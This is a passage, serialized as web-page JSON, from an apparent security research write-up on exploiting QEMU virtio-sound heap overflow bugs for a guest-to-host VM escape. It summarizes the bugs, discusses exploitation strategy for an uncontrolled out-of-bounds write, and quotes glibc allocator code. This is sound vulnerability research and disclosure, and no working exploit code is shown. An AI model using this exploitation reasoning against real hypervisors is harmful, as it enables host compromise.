",{"type":23,"tag":504,"props":127554,"children":127555},{"style":5047},[127556],{"type":29,"value":6613},{"type":23,"tag":504,"props":127558,"children":127559},{"style":5058},[127560],{"type":29,"value":127561},"st_params;\n",{"type":23,"tag":504,"props":127563,"children":127564},{"class":5016,"line":5336},[127565],{"type":23,"tag":504,"props":127566,"children":127567},{"emptyLinePlaceholder":15},[127568],{"type":29,"value":5734},{"type":23,"tag":504,"props":127570,"children":127571},{"class":5016,"line":5349},[127572],{"type":23,"tag":504,"props":127573,"children":127574},{"style":5058},[127575],{"type":29,"value":106580},{"type":23,"tag":504,"props":127577,"children":127578},{"class":5016,"line":5367},[127579],{"type":23,"tag":504,"props":127580,"children":127581},{"emptyLinePlaceholder":15},[127582],{"type":29,"value":5734},{"type":23,"tag":504,"props":127584,"children":127585},{"class":5016,"line":5388},[127586,127591,127595,127600],{"type":23,"tag":504,"props":127587,"children":127588},{"style":5058},[127589],{"type":29,"value":127590},"    st_params ",{"type":23,"tag":504,"props":127592,"children":127593},{"style":5047},[127594],{"type":29,"value":546},{"type":23,"tag":504,"props":127596,"children":127597},{"style":5139},[127598],{"type":29,"value":127599}," virtio_snd_pcm_get_params",{"type":23,"tag":504,"props":127601,"children":127602},{"style":5058},[127603],{"type":29,"value":127604},"(s, stream_id);\n",{"type":23,"tag":504,"props":127606,"children":127607},{"class":5016,"line":5397},[127608],{"type":23,"tag":504,"props":127609,"children":127610},{"emptyLinePlaceholder":15},[127611],{"type":29,"value":5734},{"type":23,"tag":504,"props":127613,"children":127614},{"class":5016,"line":5649},[127615],{"type":23,"tag":504,"props":127616,"children":127617},{"style":5058},[127618],{"type":29,"value":106580},{"type":23,"tag":504,"props":127620,"children":127621},{"class":5016,"line":5666},[127622],{"type":23,"tag":504,"props":127623,"children":127624},{"emptyLinePlaceholder":15},[127625],{"type":29,"value":5734},{"type":23,"tag":504,"props":127627,"children":127628},{"class":5016,"line":5683},[127629,127634,127638,127643,127647,127652,127656,127660,127664,127668],{"type":23,"tag":504,"props":127630,"children":127631},{"style":5041},[127632],{"type":29,"value":127633},"    st_params",{"type":23,"tag":504,"props":127635,"children":127636},{"style":5058},[127637],{"type":29,"value":15803},{"type":23,"tag":504,"props":127639,"children":127640},{"style":5041},[127641],{"type":29,"value":127642},"buffer_bytes",{"type":23,"tag":504,"props":127644,"children":127645},{"style":5047},[127646],{"type":29,"value":5050},{"type":23,"tag":504,"props":127648,"children":127649},{"style":5139},[127650],{"type":29,"value":127651}," le32_to_cpu",{"type":23,"tag":504,"props":127653,"children":127654},{"style":5058},[127655],{"type":29,"value":603},{"type":23,"tag":504,"props":127657,"children":127658},{"style":5041},[127659],{"type":29,"value":100061},{"type":23,"tag":504,"props":127661,"children":127662},{"style":5058},[127663],{"type":29,"value":15803},{"type":23,"tag":504,"props":127665,"children":127666},{"style":5041},[127667],{"type":29,"value":127642},{"type":23,"tag":504,"props":127669,"children":127670},{"style":5058},[127671],{"type":29,"value":5888},{"type":23,"tag":504,"props":127673,"children":127674},{"class":5016,"line":5696},[127675,127679,127683,127687,127691,127695,127699,127703,127707,127711],{"type":23,"tag":504,"props":127676,"children":127677},{"style":5041},[127678],{"type":29,"value":127633},{"type":23,"tag":504,"props":127680,"children":127681},{"style":5058},[127682],{"type":29,"value":15803},{"type":23,"tag":504,"props":127684,"children":127685},{"style":5041},[127686],{"type":29,"value":127092},{"type":23,"tag":504,"props":127688,"children":127689},{"style":5047},[127690],{"type":29,"value":5050},{"type":23,"tag":504,"props":127692,"children":127693},{"style":5139},[127694],{"type":29,"value":127651},{"type":23,"tag":504,"props":127696,"children":127697},{"style":5058},[127698],{"type":29,"value":603},{"type":23,"tag":504,"props":127700,"children":127701},{"style":5041},[127702],{"type":29,"value":100061},{"type":23,"tag":504,"props":127704,"children":127705},{"style":5058},[127706],{"type":29,"value":15803},{"type":23,"tag":504,"props":127708,"children":127709},{"style":5041},[127710],{"type":29,"value":127092},{"type":23,"tag":504,"props":127712,"children":127713},{"style":5058},[127714],{"type":29,"value":5888},{"type":23,"tag":504,"props":127716,"children":127717},{"class":5016,"line":5705},[127718,127722,127726,127731,127735,127739,127743,127747,127751,127755],{"type":23,"tag":504,"props":127719,"children":127720},{"style":5041},[127721],{"type":29,"value":127633},{"type":23,"tag":504,"props":127723,"children":127724},{"style":5058},[127725],{"type":29,"value":15803},{"type":23,"tag":504,"props":127727,"children":127728},{"style":5041},[127729],{"type":29,"value":127730},"features",{"type":23,"tag":504,"props":127732,"children":127733},{"style":5047},[127734],{"type":29,"value":5050},{"type":23,"tag":504,"props":127736,"children":127737},{"style":5139},[127738],{"type":29,"value":127651},{"type":23,"tag":504,"props":127740,"children":127741},{"style":5058},[127742],{"type":29,"value":603},{"type":23,"tag":504,"props":127744,"children":127745},{"style":5041},[127746],{"type":29,"value":100061},{"type":23,"tag":504,"props":127748,"children":127749},{"style":5058},[127750],{"type":29,"value":15803},{"type":23,"tag":504,"props":127752,"children":127753},{"style":5041},[127754],{"type":29,"value":127730},{"type":23,"tag":504,"props":127756,"children":127757},{"style":5058},[127758],{"type":29,"value":5888},{"type":23,"tag":504,"props":127760,"children":127761},{"class":5016,"line":5728},[127762],{"type":23,"tag":504,"props":127763,"children":127764},{"style":5021},[127765],{"type":29,"value":127766},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":23,"tag":504,"props":127768,"children":127769},{"class":5016,"line":5737},[127770,127774,127778,127783,127787,127792,127796,127800],{"type":23,"tag":504,"props":127771,"children":127772},{"style":5041},[127773],{"type":29,"value":127633},{"type":23,"tag":504,"props":127775,"children":127776},{"style":5058},[127777],{"type":29,"value":15803},{"type":23,"tag":504,"props":127779,"children":127780},{"style":5041},[127781],{"type":29,"value":127782},"channels",{"type":23,"tag":504,"props":127784,"children":127785},{"style":5047},[127786],{"type":29,"value":5050},{"type":23,"tag":504,"props":127788,"children":127789},{"style":5041},[127790],{"type":29,"value":127791}," params",{"type":23,"tag":504,"props":127793,"children":127794},{"style":5058},[127795],{"type":29,"value":15803},{"type":23,"tag":504,"props":127797,"children":127798},{"style":5041},[127799],{"type":29,"value":127782},{"type":23,"tag":504,"props":127801,"children":127802},{"style":5058},[127803],{"type":29,"value":5061},{"type":23,"tag":504,"props":127805,"children":127806},{"class":5016,"line":5746},[127807,127811,127815,127820,127824,127828,127832,127836],{"type":23,"tag":504,"props":127808,"children":127809},{"style":5041},[127810],{"type":29,"value":127633},{"type":23,"tag":504,"props":127812,"children":127813},{"style":5058},[127814],{"type":29,"value":15803},{"type":23,"tag":504,"props":127816,"children":127817},{"style":5041},[127818],{"type":29,"value":127819},"format",{"type":23,"tag":504,"props":127821,"children":127822},{"style":5047},[127823],{"type":29,"value":5050},{"type":23,"tag":504,"props":127825,"children":127826},{"style":5041},[127827],{"type":29,"value":127791},{"type":23,"tag":504,"props":127829,"children":127830},{"style":5058},[127831],{"type":29,"value":15803},{"type":23,"tag":504,"props":127833,"children":127834},{"style":5041},[127835],{"type":29,"value":127819},{"type":23,"tag":504,"props":127837,"children":127838},{"style":5058},[127839],{"type":29,"value":5061},{"type":23,"tag":504,"props":127841,"children":127842},{"class":5016,"line":5813},[127843,127847,127851,127856,127860,127864,127868,127872],{"type":23,"tag":504,"props":127844,"children":127845},{"style":5041},[127846],{"type":29,"value":127633},{"type":23,"tag":504,"props":127848,"children":127849},{"style":5058},[127850],{"type":29,"value":15803},{"type":23,"tag":504,"props":127852,"children":127853},{"style":5041},[127854],{"type":29,"value":127855},"rate",{"type":23,"tag":504,"props":127857,"children":127858},{"style":5047},[127859],{"type":29,"value":5050},{"type":23,"tag":504,"props":127861,"children":127862},{"style":5041},[127863],{"type":29,"value":127791},{"type":23,"tag":504,"props":127865,"children":127866},{"style":5058},[127867],{"type":29,"value":15803},{"type":23,"tag":504,"props":127869,"children":127870},{"style":5041},[127871],{"type":29,"value":127855},{"type":23,"tag":504,"props":127873,"children":127874},{"style":5058},[127875],{"type":29,"value":5061},{"type":23,"tag":504,"props":127877,"children":127878},{"class":5016,"line":5821},[127879],{"type":23,"tag":504,"props":127880,"children":127881},{"emptyLinePlaceholder":15},[127882],{"type":29,"value":5734},{"type":23,"tag":504,"props":127884,"children":127885},{"class":5016,"line":5851},[127886,127890,127895],{"type":23,"tag":504,"props":127887,"children":127888},{"style":5067},[127889],{"type":29,"value":19037},{"type":23,"tag":504,"props":127891,"children":127892},{"style":5139},[127893],{"type":29,"value":127894}," cpu_to_le32",{"type":23,"tag":504,"props":127896,"children":127897},{"style":5058},[127898],{"type":29,"value":127899},"(VIRTIO_SND_S_OK);\n",{"type":23,"tag":504,"props":127901,"children":127902},{"class":5016,"line":5859},[127903],{"type":23,"tag":504,"props":127904,"children":127905},{"style":5058},[127906],{"type":29,"value":5965},{"type":23,"tag":32,"props":127908,"children":127909},{},[127910,127912,127917,127919,127925,127927,127932,127934,127939,127941,127947,127948,127953],{"type":29,"value":127911},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":23,"tag":154,"props":127913,"children":127915},{"className":127914},[],[127916],{"type":29,"value":5470},{"type":29,"value":127918},") and signed (",{"type":23,"tag":154,"props":127920,"children":127922},{"className":127921},[],[127923],{"type":29,"value":127924},"s8",{"type":29,"value":127926},") samples. They encode the same waveform differently - silence is ",{"type":23,"tag":154,"props":127928,"children":127930},{"className":127929},[],[127931],{"type":29,"value":31494},{"type":29,"value":127933}," in ",{"type":23,"tag":154,"props":127935,"children":127937},{"className":127936},[],[127938],{"type":29,"value":5470},{"type":29,"value":127940},", but ",{"type":23,"tag":154,"props":127942,"children":127944},{"className":127943},[],[127945],{"type":29,"value":127946},"0x00",{"type":29,"value":127933},{"type":23,"tag":154,"props":127949,"children":127951},{"className":127950},[],[127952],{"type":29,"value":127924},{"type":29,"value":357},{"type":23,"tag":20844,"props":127955,"children":127956},{},[],{"type":23,"tag":32,"props":127958,"children":127959},{},[127960],{"type":29,"value":127961},"To summarize:",{"type":23,"tag":139,"props":127963,"children":127964},{},[127965,127984,128002],{"type":23,"tag":143,"props":127966,"children":127967},{},[127968,127970,127975,127977,127982],{"type":29,"value":127969},"an integer underflow in the ",{"type":23,"tag":154,"props":127971,"children":127973},{"className":127972},[],[127974],{"type":29,"value":126039},{"type":29,"value":127976}," calculation in ",{"type":23,"tag":154,"props":127978,"children":127980},{"className":127979},[],[127981],{"type":29,"value":125544},{"type":29,"value":127983},", resulting in an 8-byte (or less) under-allocation",{"type":23,"tag":143,"props":127985,"children":127986},{},[127987,127989,127994,127995,128000],{"type":29,"value":127988},"a mismatch in the ",{"type":23,"tag":154,"props":127990,"children":127992},{"className":127991},[],[127993],{"type":29,"value":127271},{"type":29,"value":127976},{"type":23,"tag":154,"props":127996,"children":127998},{"className":127997},[],[127999],{"type":29,"value":127369},{"type":29,"value":128001},", leading to at most 8-byte OOB write",{"type":23,"tag":143,"props":128003,"children":128004},{},[128005,128007,128012,128014,128019,128021,128026],{"type":29,"value":128006},"a missing bound in the ",{"type":23,"tag":154,"props":128008,"children":128010},{"className":128009},[],[128011],{"type":29,"value":126039},{"type":29,"value":128013}," passed to ",{"type":23,"tag":154,"props":128015,"children":128017},{"className":128016},[],[128018],{"type":29,"value":127389},{"type":29,"value":128020},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":23,"tag":154,"props":128022,"children":128024},{"className":128023},[],[128025],{"type":29,"value":127412},{"type":29,"value":84353},{"type":23,"tag":32,"props":128028,"children":128029},{},[128030,128032,128037,128039,128044,128046,128052],{"type":29,"value":128031},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":23,"tag":154,"props":128033,"children":128035},{"className":128034},[],[128036],{"type":29,"value":127412},{"type":29,"value":128038},", but in our setup with the ALSA backend, ",{"type":23,"tag":154,"props":128040,"children":128042},{"className":128041},[],[128043],{"type":29,"value":127412},{"type":29,"value":128045}," was consistently around ",{"type":23,"tag":154,"props":128047,"children":128049},{"className":128048},[],[128050],{"type":29,"value":128051},"4096",{"type":29,"value":357},{"type":23,"tag":32,"props":128054,"children":128055},{},[128056,128058,128065,128066,128073],{"type":29,"value":128057},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":23,"tag":68,"props":128059,"children":128062},{"href":128060,"rel":128061},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[72],[128063],{"type":29,"value":128064},"commit 1",{"type":29,"value":4367},{"type":23,"tag":68,"props":128067,"children":128070},{"href":128068,"rel":128069},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[72],[128071],{"type":29,"value":128072},"commit 2",{"type":29,"value":128074},") in the very same week that we independently found them while manually reviewing the code.",{"type":23,"tag":24,"props":128076,"children":128077},{"id":101887},[128078],{"type":29,"value":101890},{"type":23,"tag":32,"props":128080,"children":128081},{},[128082],{"type":29,"value":128083},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":23,"tag":32,"props":128085,"children":128086},{},[128087],{"type":29,"value":128088},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":23,"tag":320,"props":128090,"children":128092},{"id":128091},"achieving-a-better-primitive",[128093],{"type":29,"value":128094},"Achieving a Better Primitive",{"type":23,"tag":32,"props":128096,"children":128097},{},[128098],{"type":29,"value":128099},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":23,"tag":32,"props":128101,"children":128102},{},[128103],{"type":29,"value":128104},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":23,"tag":32,"props":128106,"children":128107},{},[128108],{"type":29,"value":128109},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":23,"tag":20944,"props":128111,"children":128113},{"id":128112},"glibc-allocator",[128114],{"type":29,"value":128115},"Glibc Allocator",{"type":23,"tag":32,"props":128117,"children":128118},{},[128119,128121,128128],{"type":29,"value":128120},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":23,"tag":68,"props":128122,"children":128125},{"href":128123,"rel":128124},"https://github.com/shellphish/how2heap",[72],[128126],{"type":29,"value":128127},"how2heap",{"type":29,"value":357},{"type":23,"tag":39403,"props":128130,"children":128132},{"id":128131},"chunk-layout-and-bins",[128133],{"type":29,"value":128134},"Chunk Layout and Bins",{"type":23,"tag":32,"props":128136,"children":128137},{},[128138],{"type":29,"value":128139},"A chunk looks like this:",{"type":23,"tag":4743,"props":128141,"children":128143},{"code":128142},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[128144],{"type":23,"tag":154,"props":128145,"children":128146},{"__ignoreMap":7},[128147],{"type":29,"value":128142},{"type":23,"tag":32,"props":128149,"children":128150},{},[128151,128153,128159,128161,128167,128168,128173,128174,128180,128182,128187,128189,128194,128196,128202,128203,128209,128211,128217],{"type":29,"value":128152},"The first 16 bytes form the chunk header. It consists of the ",{"type":23,"tag":154,"props":128154,"children":128156},{"className":128155},[],[128157],{"type":29,"value":128158},"prev_size",{"type":29,"value":128160}," field at offset ",{"type":23,"tag":154,"props":128162,"children":128164},{"className":128163},[],[128165],{"type":29,"value":128166},"0x0",{"type":29,"value":4433},{"type":23,"tag":154,"props":128169,"children":128171},{"className":128170},[],[128172],{"type":29,"value":126039},{"type":29,"value":128160},{"type":23,"tag":154,"props":128175,"children":128177},{"className":128176},[],[128178],{"type":29,"value":128179},"0x8",{"type":29,"value":128181},". As the name suggests, ",{"type":23,"tag":154,"props":128183,"children":128185},{"className":128184},[],[128186],{"type":29,"value":128158},{"type":29,"value":128188}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":23,"tag":154,"props":128190,"children":128192},{"className":128191},[],[128193],{"type":29,"value":126039},{"type":29,"value":128195}," stores the size of the current chunk and three special bits of which ",{"type":23,"tag":154,"props":128197,"children":128199},{"className":128198},[],[128200],{"type":29,"value":128201},"PREV_INUSE",{"type":29,"value":4478},{"type":23,"tag":154,"props":128204,"children":128206},{"className":128205},[],[128207],{"type":29,"value":128208},"IS_MMAPPED",{"type":29,"value":128210}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":23,"tag":154,"props":128212,"children":128214},{"className":128213},[],[128215],{"type":29,"value":128216},"0x10",{"type":29,"value":357},{"type":23,"tag":32,"props":128219,"children":128220},{},[128221],{"type":29,"value":128222},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":23,"tag":39403,"props":128224,"children":128226},{"id":128225},"free-path",[128227],{"type":29,"value":128228},"free() path",{"type":23,"tag":32,"props":128230,"children":128231},{},[128232,128234,128240],{"type":29,"value":128233},"Let’s first look at the ",{"type":23,"tag":154,"props":128235,"children":128237},{"className":128236},[],[128238],{"type":29,"value":128239},"free()",{"type":29,"value":128241}," path in glibc 2.40:",{"type":23,"tag":4743,"props":128243,"children":128245},{"code":128244,"language":3110,"meta":7,"className":18562,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[128246],{"type":23,"tag":154,"props":128247,"children":128248},{"__ignoreMap":7},[128249,128277,128284,128292,128300,128307,128329,128350,128357,128370,128377,128385,128392,128405,128412,128433,128454,128461],{"type":23,"tag":504,"props":128250,"children":128251},{"class":5016,"line":5017},[128252,128257,128261,128265,128269,128273],{"type":23,"tag":504,"props":128253,"children":128254},{"style":5139},[128255],{"type":29,"value":128256},"__libc_free",{"type":23,"tag":504,"props":128258,"children":128259},{"style":5058},[128260],{"type":29,"value":5110},{"type":23,"tag":504,"props":128262,"children":128263},{"style":5030},[128264],{"type":29,"value":53688},{"type":23,"tag":504,"props":128266,"children":128267},{"style":5047},[128268],{"type":29,"value":11863},{"type":23,"tag":504,"props":128270,"children":128271},{"style":5041},[128272],{"type":29,"value":42721},{"type":23,"tag":504,"props":128274,"children":128275},{"style":5058},[128276],{"type":29,"value":5200},{"type":23,"tag":504,"props":128278,"children":128279},{"class":5016,"line":4868},[128280],{"type":23,"tag":504,"props":128281,"children":128282},{"style":5058},[128283],{"type":29,"value":12926},{"type":23,"tag":504,"props":128285,"children":128286},{"class":5016,"line":4876},[128287],{"type":23,"tag":504,"props":128288,"children":128289},{"style":5058},[128290],{"type":29,"value":128291},"  mstate ar_ptr;\n",{"type":23,"tag":504,"props":128293,"children":128294},{"class":5016,"line":5099},[128295],{"type":23,"tag":504,"props":128296,"children":128297},{"style":5058},[128298],{"type":29,"value":128299},"  mchunkptr p;\n",{"type":23,"tag":504,"props":128301,"children":128302},{"class":5016,"line":5203},[128303],{"type":23,"tag":504,"props":128304,"children":128305},{"emptyLinePlaceholder":15},[128306],{"type":29,"value":5734},{"type":23,"tag":504,"props":128308,"children":128309},{"class":5016,"line":5308},[128310,128315,128319,128324],{"type":23,"tag":504,"props":128311,"children":128312},{"style":5058},[128313],{"type":29,"value":128314},"  p ",{"type":23,"tag":504,"props":128316,"children":128317},{"style":5047},[128318],{"type":29,"value":546},{"type":23,"tag":504,"props":128320,"children":128321},{"style":5139},[128322],{"type":29,"value":128323}," mem2chunk",{"type":23,"tag":504,"props":128325,"children":128326},{"style":5058},[128327],{"type":29,"value":128328}," (mem);\n",{"type":23,"tag":504,"props":128330,"children":128331},{"class":5016,"line":5336},[128332,128336,128340,128345],{"type":23,"tag":504,"props":128333,"children":128334},{"style":5067},[128335],{"type":29,"value":33449},{"type":23,"tag":504,"props":128337,"children":128338},{"style":5058},[128339],{"type":29,"value":5110},{"type":23,"tag":504,"props":128341,"children":128342},{"style":5139},[128343],{"type":29,"value":128344},"chunk_is_mmapped",{"type":23,"tag":504,"props":128346,"children":128347},{"style":5058},[128348],{"type":29,"value":128349}," (p))\n",{"type":23,"tag":504,"props":128351,"children":128352},{"class":5016,"line":5349},[128353],{"type":23,"tag":504,"props":128354,"children":128355},{"style":5058},[128356],{"type":29,"value":31241},{"type":23,"tag":504,"props":128358,"children":128359},{"class":5016,"line":5367},[128360,128365],{"type":23,"tag":504,"props":128361,"children":128362},{"style":5139},[128363],{"type":29,"value":128364},"      munmap_chunk",{"type":23,"tag":504,"props":128366,"children":128367},{"style":5058},[128368],{"type":29,"value":128369}," (p);\n",{"type":23,"tag":504,"props":128371,"children":128372},{"class":5016,"line":5388},[128373],{"type":23,"tag":504,"props":128374,"children":128375},{"style":5058},[128376],{"type":29,"value":5403},{"type":23,"tag":504,"props":128378,"children":128379},{"class":5016,"line":5397},[128380],{"type":23,"tag":504,"props":128381,"children":128382},{"style":5067},[128383],{"type":29,"value":128384},"  else\n",{"type":23,"tag":504,"props":128386,"children":128387},{"class":5016,"line":5649},[128388],{"type":23,"tag":504,"props":128389,"children":128390},{"style":5058},[128391],{"type":29,"value":31241},{"type":23,"tag":504,"props":128393,"children":128394},{"class":5016,"line":5666},[128395,128400],{"type":23,"tag":504,"props":128396,"children":128397},{"style":5139},[128398],{"type":29,"value":128399},"      MAYBE_INIT_TCACHE",{"type":23,"tag":504,"props":128401,"children":128402},{"style":5058},[128403],{"type":29,"value":128404}," ();\n",{"type":23,"tag":504,"props":128406,"children":128407},{"class":5016,"line":5683},[128408],{"type":23,"tag":504,"props":128409,"children":128410},{"emptyLinePlaceholder":15},[128411],{"type":29,"value":5734},{"type":23,"tag":504,"props":128413,"children":128414},{"class":5016,"line":5696},[128415,128420,128424,128429],{"type":23,"tag":504,"props":128416,"children":128417},{"style":5058},[128418],{"type":29,"value":128419},"      ar_ptr ",{"type":23,"tag":504,"props":128421,"children":128422},{"style":5047},[128423],{"type":29,"value":546},{"type":23,"tag":504,"props":128425,"children":128426},{"style":5139},[128427],{"type":29,"value":128428}," arena_for_chunk",{"type":23,"tag":504,"props":128430,"children":128431},{"style":5058},[128432],{"type":29,"value":128369},{"type":23,"tag":504,"props":128434,"children":128435},{"class":5016,"line":5705},[128436,128441,128446,128450],{"type":23,"tag":504,"props":128437,"children":128438},{"style":5139},[128439],{"type":29,"value":128440},"      _int_free",{"type":23,"tag":504,"props":128442,"children":128443},{"style":5058},[128444],{"type":29,"value":128445}," (ar_ptr, p, ",{"type":23,"tag":504,"props":128447,"children":128448},{"style":5083},[128449],{"type":29,"value":708},{"type":23,"tag":504,"props":128451,"children":128452},{"style":5058},[128453],{"type":29,"value":5888},{"type":23,"tag":504,"props":128455,"children":128456},{"class":5016,"line":5728},[128457],{"type":23,"tag":504,"props":128458,"children":128459},{"style":5058},[128460],{"type":29,"value":5403},{"type":23,"tag":504,"props":128462,"children":128463},{"class":5016,"line":5737},[128464],{"type":23,"tag":504,"props":128465,"children":128466},{"style":5058},[128467],{"type":29,"value":5965},{"type":23,"tag":32,"props":128469,"children":128470},{},[128471,128473,128478,128480,128485,128487,128493,128495,128501,128503,128508,128510,128515,128517,128522,128524,128529],{"type":29,"value":128472},"We can see that if the ",{"type":23,"tag":154,"props":128474,"children":128476},{"className":128475},[],[128477],{"type":29,"value":128208},{"type":29,"value":128479}," bit is set in the corrupted ",{"type":23,"tag":154,"props":128481,"children":128483},{"className":128482},[],[128484],{"type":29,"value":126039},{"type":29,"value":128486}," field, glibc will call ",{"type":23,"tag":154,"props":128488,"children":128490},{"className":128489},[],[128491],{"type":29,"value":128492},"munmap_chunk",{"type":29,"value":128494},", which internally checks that ",{"type":23,"tag":154,"props":128496,"children":128498},{"className":128497},[],[128499],{"type":29,"value":128500},"prev_size + size",{"type":29,"value":128502}," is page-aligned. To reach the ",{"type":23,"tag":154,"props":128504,"children":128506},{"className":128505},[],[128507],{"type":29,"value":126039},{"type":29,"value":128509}," field, we first have to overwrite the entire 8-byte ",{"type":23,"tag":154,"props":128511,"children":128513},{"className":128512},[],[128514],{"type":29,"value":128158},{"type":29,"value":128516}," field with uncontrolled data. The chance that a corrupted ",{"type":23,"tag":154,"props":128518,"children":128520},{"className":128519},[],[128521],{"type":29,"value":128500},{"type":29,"value":128523}," value still ends up page-aligned is extremely small. In practice, if ",{"type":23,"tag":154,"props":128525,"children":128527},{"className":128526},[],[128528],{"type":29,"value":128208},{"type":29,"value":128530}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":23,"tag":32,"props":128532,"children":128533},{},[128534,128536,128541,128543,128549],{"type":29,"value":128535},"Assuming ",{"type":23,"tag":154,"props":128537,"children":128539},{"className":128538},[],[128540],{"type":29,"value":128208},{"type":29,"value":128542}," is not set, execution continues into ",{"type":23,"tag":154,"props":128544,"children":128546},{"className":128545},[],[128547],{"type":29,"value":128548},"_int_free",{"type":29,"value":6533},{"type":23,"tag":4743,"props":128551,"children":128553},{"code":128552,"language":3110,"meta":7,"className":18562,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[128554],{"type":23,"tag":154,"props":128555,"children":128556},{"__ignoreMap":7},[128557,128569,128612,128619,128627,128634,128655,128662,128670,128678,128686,128694,128758,128793,128814,128822,128830,128878,128898,128905,128918,128925],{"type":23,"tag":504,"props":128558,"children":128559},{"class":5016,"line":5017},[128560,128564],{"type":23,"tag":504,"props":128561,"children":128562},{"style":5030},[128563],{"type":29,"value":53107},{"type":23,"tag":504,"props":128565,"children":128566},{"style":5030},[128567],{"type":29,"value":128568}," void\n",{"type":23,"tag":504,"props":128570,"children":128571},{"class":5016,"line":4868},[128572,128576,128581,128586,128591,128595,128599,128603,128608],{"type":23,"tag":504,"props":128573,"children":128574},{"style":5139},[128575],{"type":29,"value":128548},{"type":23,"tag":504,"props":128577,"children":128578},{"style":5058},[128579],{"type":29,"value":128580}," (mstate ",{"type":23,"tag":504,"props":128582,"children":128583},{"style":5041},[128584],{"type":29,"value":128585},"av",{"type":23,"tag":504,"props":128587,"children":128588},{"style":5058},[128589],{"type":29,"value":128590},", mchunkptr ",{"type":23,"tag":504,"props":128592,"children":128593},{"style":5041},[128594],{"type":29,"value":32},{"type":23,"tag":504,"props":128596,"children":128597},{"style":5058},[128598],{"type":29,"value":4367},{"type":23,"tag":504,"props":128600,"children":128601},{"style":5030},[128602],{"type":29,"value":21098},{"type":23,"tag":504,"props":128604,"children":128605},{"style":5041},[128606],{"type":29,"value":128607}," have_lock",{"type":23,"tag":504,"props":128609,"children":128610},{"style":5058},[128611],{"type":29,"value":5200},{"type":23,"tag":504,"props":128613,"children":128614},{"class":5016,"line":4876},[128615],{"type":23,"tag":504,"props":128616,"children":128617},{"style":5058},[128618],{"type":29,"value":12926},{"type":23,"tag":504,"props":128620,"children":128621},{"class":5016,"line":5099},[128622],{"type":23,"tag":504,"props":128623,"children":128624},{"style":5058},[128625],{"type":29,"value":128626},"  INTERNAL_SIZE_T size;\n",{"type":23,"tag":504,"props":128628,"children":128629},{"class":5016,"line":5203},[128630],{"type":23,"tag":504,"props":128631,"children":128632},{"emptyLinePlaceholder":15},[128633],{"type":29,"value":5734},{"type":23,"tag":504,"props":128635,"children":128636},{"class":5016,"line":5308},[128637,128642,128646,128651],{"type":23,"tag":504,"props":128638,"children":128639},{"style":5058},[128640],{"type":29,"value":128641},"  size ",{"type":23,"tag":504,"props":128643,"children":128644},{"style":5047},[128645],{"type":29,"value":546},{"type":23,"tag":504,"props":128647,"children":128648},{"style":5139},[128649],{"type":29,"value":128650}," chunksize",{"type":23,"tag":504,"props":128652,"children":128653},{"style":5058},[128654],{"type":29,"value":128369},{"type":23,"tag":504,"props":128656,"children":128657},{"class":5016,"line":5336},[128658],{"type":23,"tag":504,"props":128659,"children":128660},{"emptyLinePlaceholder":15},[128661],{"type":29,"value":5734},{"type":23,"tag":504,"props":128663,"children":128664},{"class":5016,"line":5349},[128665],{"type":23,"tag":504,"props":128666,"children":128667},{"style":5021},[128668],{"type":29,"value":128669},"  /* Little security check which won't hurt performance: 